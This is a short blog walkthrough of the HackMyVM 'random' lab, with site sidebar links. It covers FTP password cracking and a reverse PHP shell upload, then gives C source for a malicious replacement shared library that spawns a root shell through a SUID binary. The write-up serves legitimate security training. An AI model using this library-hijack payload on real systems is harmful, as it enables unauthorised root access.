当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
猜你喜欢

13. JS output content and syntax

Stable and easy-to-use short connection generation platform, supporting API batch generation

hackmyvm-random walkthrough

hackmyvm: again walkthrough

解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址

Phonebook

Introduction to PHP (self-study notes)

PHP的几个有趣的打开方式:从基本到变态

MySql Advanced -- Constraints

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
随机推荐
hackmyvm: juggling walkthrough
CTF-网鼎杯往届题目
16. JS events, string and operator
(6) 学生信息管理系统设计
Stable and easy-to-use short connection generation platform, supporting API batch generation
[league/flysystem] An elegant and highly supported file operation interface
MOMENTUM: 2 vulnhub walkthrough
宝塔邮局邮箱设置成功后能发送不能接收问题处理
CTF入门之php文件包含
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
(3) Thinkphp6 database
(2)Thinkphp6模板引擎**标签
2.PHP变量、输出、EOF、条件语句
hackmyvm: again walkthrough
Alfa: 1 vulnhub walkthrough
PHP8.2将会有哪些新东西?
[symfony/finder] The best file manipulation library
IO stream, encoding table, character stream, character buffer stream
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
Phonebook